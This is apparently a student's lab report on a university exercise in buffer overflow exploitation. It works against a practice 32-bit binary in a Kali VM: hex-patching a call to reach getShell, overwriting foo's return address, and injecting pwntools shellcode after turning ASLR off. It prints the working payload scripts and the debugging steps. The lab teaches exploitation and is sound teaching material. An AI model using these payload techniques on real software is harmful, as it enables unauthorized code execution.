实践九 软件安全攻防--缓冲区溢出和shellcode

一、实验内容

1.主要任务

  1. 手工修改可执行文件
    通过反汇编定位 main 函数中调用 foocall 指令,手工计算并修改相对偏移量,将其目标地址改为 getShell,使程序直接执行 getShell 函数,获取 Shell。
  2. 利用栈溢出漏洞劫持控制流
    分析 foo 函数的栈帧布局,计算缓冲区到返回地址的偏移量,构造攻击字符串(payload)覆盖返回地址,使程序在 foo 返回时跳转到 getShell 函数并成功执行 system("/bin/sh")
  3. 注入并运行自定义 shellcode
    在确认栈可执行且相关保护关闭的前提下,使用 pwntools 生成 execve("/bin/sh") 的机器码作为 shellcode。通过缓冲区溢出将返回地址覆盖为 shellcode 在栈上的存放地址(或使用 NOP sled / gadget 提高容错),使程序在 foo 返回后跳转执行 shellcode,获得交互式 Shell。
  4. 调试与故障分析
    熟练使用 objdumpgdbstracedmesg 等工具进行反汇编、断点调试、寄存器与内存检查、系统调用追踪和内核日志分析,解决栈对齐、地址偏差、环境不一致等实际利用中的问题。
  5. 掌握基础汇编与利用原理
    理解 NOP、JNE、JE、JMP、CMP 等汇编指令的机器码及其作用;掌握 栈帧布局、调用约定、字节序等基础知识;能够正确使用十六进制编辑器修改机器码,并构造符合要求的 BOF 攻击载荷。

2.实验环境

  • 主机系统:Windows 11
  • 虚拟化平台:VMware Workstation 17 Pro
  • 虚拟机
主机 IP地址 Mac地址
Kali Linux 2025.4 192.168.188.7 00:0c:29:d2:d4:c0
VMNet8网卡 192.168.188.1 00:50:56:fa:aa:1e
  • 网络模式:NAT模式(VMnet8,子网 192.168.188.0/24)确保虚拟机间及与宿主机互通。

3.知识点梳理

本次实验涉及的核心知识点可归纳为以下几个方面:

1. 缓冲区溢出(Buffer Overflow)原理

  • 栈帧结构:在 x86 32 位系统中,函数调用时会将返回地址、旧的 ebp 压栈,随后分配局部变量空间。缓冲区通常位于 ebp 下方,溢出可覆盖 ebp 和返回地址。
  • 溢出计算:通过反汇编确定缓冲区起始地址到返回地址的距离(本实验中为 0x1c 字节缓冲区 + 4 字节保存的 ebp,共 32 字节)。
  • 利用后果:覆盖返回地址后,函数返回时可跳转到任意代码片段执行。

2. 手工修改可执行文件

  • 机器码结构call 指令(0xE8)后跟 4 字节相对偏移量,计算公式:目标地址 - call下一条指令地址
  • ELF 文件结构:虚拟地址与文件偏移的关系,使用十六进制编辑器直接修改二进制文件。

3. 栈溢出劫持控制流

  • 攻击载荷构造:填充数据 + 目标函数地址(小端字节序)。
  • 栈对齐问题system 等函数要求 16 字节栈对齐,push ebp 可能破坏对齐,导致崩溃。可通过跳过开头指令或使用 ret 滑板调整栈帧。
  • 调试确认:在 gdb 中设置断点,检查栈顶返回地址是否被正确覆盖。

4. Shellcode 注入与执行

  • Shellcode 生成:使用 pwntoolsshellcraft.sh() 生成 execve("/bin/sh", NULL, NULL) 的机器码。
  • NOP sled:在 shellcode 前填充大量 0x90,以容忍栈地址的一定偏差,提高攻击成功率。
  • 跳转方式
    • 绝对地址跳转:将返回地址覆盖为 shellcode 所在栈地址。
    • jmp esp / call eax 等 gadget:通过 ROP 思想间接跳转,绕过地址随机化。
  • 环境一致性:gdb 内外栈布局可能不同,需通过 core dump、dmesg 等方式获取真实运行地址。

5. 安全保护机制

  • ASLR(地址空间布局随机化):使栈、堆、库等基地址每次运行随机化,增加利用难度。实验中通过 echo 0 > /proc/sys/kernel/randomize_va_space 临时关闭。
  • NX(栈不可执行):将栈标记为不可执行,阻止 shellcode 直接在栈上运行。实验环境默认关闭,但实际应用需配合 ROP 绕过。
  • Stack Canary:在返回地址前插入随机值,函数返回前检查,防止返回地址被篡改。本实验无 Canary。
  • PIE:位置无关可执行文件,使代码段基址随机化。本实验无 PIE。

6. 调试与故障排查工具

  • objdump:反汇编,提取地址、分析指令。
  • gdb:设置断点、单步执行、查看寄存器和内存、检查覆盖效果。
  • strace:追踪系统调用,观察 execve 调用成功与否。
  • dmesg:查看内核记录的段错误信息(ipsp 等),用于反推真实运行时状态。
  • pwntools:快速生成 payload、pattern、shellcode,以及交互式脚本。

7. 基础汇编与调用约定

  • x86 32 位调用约定:参数通过栈传递(push 压栈),call 指令将返回地址压栈。
  • 常用指令理解push ebp; mov ebp, esp 建立栈帧;sub $0x38, %esp 分配局部空间;lea -0x1c(%ebp), %eax 获取缓冲区地址;callret 的执行细节。
  • 系统调用int 0x80 触发系统调用,execve 对应的 eax 为 0x0b

二、实验过程

(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

首先将解压后的文件拖入虚拟机kali 2025.04的命令行

image-20260520160759743

然后按照要求进行重命名,我这里直接拷贝了一份出来

image-20260520160922560

使用以下命令记录 getShell 的起始地址0804847d

objdump -d 20251908zyj | grep getShell

image-20260520161112641

使用以下命令定位调用点

objdump -d 20251908zyj | grep -A2 "call.*foo"

call 指令的偏移量 = 目标地址 - (call 下一条指令地址)
= 0x0804847d - 0x080484ba = -0x3D = 0xFFFFFFC3(32 位补码)
因此新指令的 5 字节机器码应为:e8 c3 ff ff ff

通常 .text 段在 ELF 文件中的偏移等于虚拟地址减去基地址 0x08048000
所以 0x080484b5 对应的文件偏移约为 0x4b5

使用以下命令定位文件偏移并修改

echo "000004b5: e8 c3 ff ff ff" | xxd -r - 20251908zyj

image-20260520162244364

使用以下命令验证

objdump -d 20251908zyj | grep -A2 "call.*getShell"

image-20260520162416103

看到 80484b5: e8 c3 ff ff ff call 804847d <getShell>
运行 ./20251908zyj,直接获得 shell

image-20260520162459781

(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

先拷贝一份并重命名

image-20260520162756694

使用以下命令获取所有关键函数的地址和指令。

objdump -d 20251908zyj_2 | grep -E "<main>:|<foo>:|<getShell>:"

image-20260520163028967

查看 foo 函数的完整汇编:

objdump -d 20251908zyj_2 | grep -A20 "<foo>:"

image-20260520163254433

确定偏移量(静态分析结果)

8048494:   83 ec 38        sub    $0x38,%esp     ; 分配 0x38 = 56 字节栈空间
8048497:   8d 45 e4        lea    -0x1c(%ebp),%eax ; 缓冲区从 ebp-28 开始

典型的栈帧结构(32 位):

高地址   | 返回地址 |  ebp+4
        | 旧 ebp   |  ebp
        | ...      |
低地址   | 缓冲区   |  ebp-0x1c  (28 字节缓冲区)

所以从缓冲区开头到返回地址的距离 = 28 + 4 = 32 字节。

接下来构造攻击载荷

用 Python 一行生成 payload 文件:

python3 -c "import sys; sys.stdout.buffer.write(b'A'*32 + b'\x80\x84\x04\x08')" > payload.bin

然后发动攻击

(cat payload.bin; echo "id"; cat) | ./20251908zyj_2

image-20260520164941731

(3)注入一个自己制作的shellcode并运行这段shellcode。

首先依旧cp一份出来,虽然不cp也可以

image-20260520165503254

1.获取基本信息

首先需要在 gdb 中获取 foo 返回时的 esp

gdb ./20251908zyj_3

进入 gdb 后依次执行:

set disable-randomization on
break *0x080484ae
run <<< ""

此时程序会停在 ret 指令前。输入命令查看 esp

info registers esp

记下显示的 esp 值0xffffd2ac

image-20260524174023670

2.gdb内尝试攻击

第一次攻击失败

新开一个终端,生成 payload

python3 -c "
from pwn import *
context.arch='i386'
shellcode = asm(shellcraft.sh())
offset = 32
ret_addr = 0xffffd2ac
payload = b'A' * offset + p32(ret_addr) + shellcode
with open('payload_ok', 'wb') as f:
    f.write(payload)
"

重新启动 gdb 并运行 payload

gdb ./20251908zyj_3

在 gdb 内执行:

set disable-randomization on
run < payload_ok

这时执行发现崩溃,原因是返回地址写错了。

image-20260524174722885

错误分析如下:

  • fooret 前获取的 esp = 0xffffd2ac,这个地址本身是存放返回地址的栈单元。
  • payload 布局:32*A + ret_addr + shellcode,其中 ret_addr 放在覆盖返回地址的位置,shellcode 紧跟在后面(从 0xffffd2b0 开始)。
  • 设置的 ret_addr = 0xffffd2ac,导致 ret 指令跳转到 0xffffd2ac,而这个位置存放的恰好是你刚写入的 0xffffd2ac 这 4 个字节的数据,不是 shellcode 代码。CPU 把这 4 个字节当指令执行,自然崩溃。

正确做法:让返回地址直接指向 shellcode 的起始地址,即 0xffffd2ac + 4 = 0xffffd2b0

成功的一次攻击

重新修改payload

python3 -c "
from pwn import *
context.arch='i386'
shellcode = asm(shellcraft.sh())
offset = 32
ret_addr = 0xffffd2b0        # 注意:这里是 esp+4
payload = b'A' * offset + p32(ret_addr) + shellcode
with open('payload_ok', 'wb') as f:
    f.write(payload)
"

启动 gdb 并运行

gdb ./20251908zyj_3
(gdb) set disable-randomization on
(gdb) run < payload_ok

image-20260524180831980

这时发现系统启动了新的 shell 程序(dash,即 /bin/sh 的实际实现)。之后进程正常退出,是因为 shell 通过输入重定向读取到 EOF 而自动退出——这是完全符合预期的行为。

3.外部终端中的攻击

在gdb里的攻击成功了,现在直接尝试在外部环境中使用刚刚生成的payload执行攻击

image-20260524173707271

发现失败,开始寻找原因,中间有多次尝试(列在问题与解决部分),这里截取成功的尝试

利用内核日志找到 segfault 时的 ip,反推 shellcode 地址。

image-20260524173433923

我们成功劫持了 eip(dmesg 显示 ip=0xffffd2b0),只是跳转地址在真实环境下偏移了,所以才会崩溃。现在根据 dmesg 提供的 sp 值,可以精确计算出真实环境中 shellcode 的地址。

由于 ret 指令已经执行过,此时 esp 指向 shellcode 之后,但我们可以反推:
ret 执行前 esp = 崩溃时 esp - 4 = 0xffffde1c
shellcode 起始地址 = 返回地址之后 = 0xffffde1c + 4 = 0xffffde20

所以,外部环境下的正确返回地址就是 0xffffde20(恰好等于崩溃时的 sp)。

生成最终 payload 并攻击

python3 -c "
from pwn import *
context.arch='i386'
shellcode = asm(shellcraft.sh())
offset = 32
ret_addr = 0xffffde20        # 从 dmesg 提取的真实地址
payload = b'A' * offset + p32(ret_addr) + shellcode
with open('payload_real', 'wb') as f:
    f.write(payload)
"

image-20260524173608949

攻击

(cat payload_real; cat) | env -i ./20251908zyj_3

image-20260524173600130

三、学习中遇到的问题及解决

1.构建payload后攻击失败

当时使用的命令是

python3 -c "import sys; sys.stdout.buffer.write(b'A'*32 + b'\x7d\x84\x04\x08')" > payload.bin

问题分析:

通过反汇编确定缓冲区到返回地址的偏移为 32 字节(28 字节缓冲区 + 4 字节 old ebp)。
getShell 函数的入口在 0x0804847d,但直接跳转到该处会因栈未对齐导致 system 崩溃。
通过分析 getShell 的汇编代码,发现跳过 push ebp 和 mov ebp, esp 后,系统调用可以正常执行,
因此将返回地址覆盖为 0x08048480(即 sub $0x18,%esp 指令地址)。

修改成以下命令就好了

python3 -c "import sys; sys.stdout.buffer.write(b'A'*32 + b'\x80\x84\x04\x08')" > payload.bin

2.攻击成功后没有显示数据

执行的命令如下

(cat payload.bin; cat) | ./20251908zyj_2 

image-20260520165231929

成功执行攻击(一开始没发现)后没有任何显示,还以为没有成功

实际上,这时随便输入命令就好了

image-20260520165349903

当然,直接使用这个命令会更好一点

(cat payload.bin; echo "id"; cat) | ./20251908zyj_2

3.shellcode注入失败

gdb 内已经验证了 shellcode 的成功执行,但在外部终端失败

具体原因是 gdb 内外的栈布局不完全相同,即使关闭 ASLR,环境变量等因素仍可能导致栈地址偏移,之前固定的 0xffffd2b0 无法命中。

通过 core dump 获取外部运行时的真实 shellcode 地址

image-20260524175041132

失败

使用 NOP sled 提高命中率

生成带 200 字节 NOP sled 的 payload,返回地址使用 gdb 中的 esp+4(即 0xffffd2b0):

image-20260524175135680

失败

最后使用dmesg 获取真实崩溃地址

image-20260524175221465

成功

四、学习感悟、思考等

本次实践通过一个简单的 pwn1程序,让我从手工修改二进制到栈溢出劫持控制流,再到注入并运行自定义 shellcode,循序渐进地体验了二进制漏洞利用的基本流程。通过这三个递进式的实验,我不仅掌握了栈溢出的利用技术,更重要的是养成了“调试思维”——在失败中通过反汇编、断点、日志等手段寻找线索,不断逼近正确解法。

参考资料:

posted @ 2026-05-24 18:11  _Biyan  阅读(12)  评论(0)    收藏  举报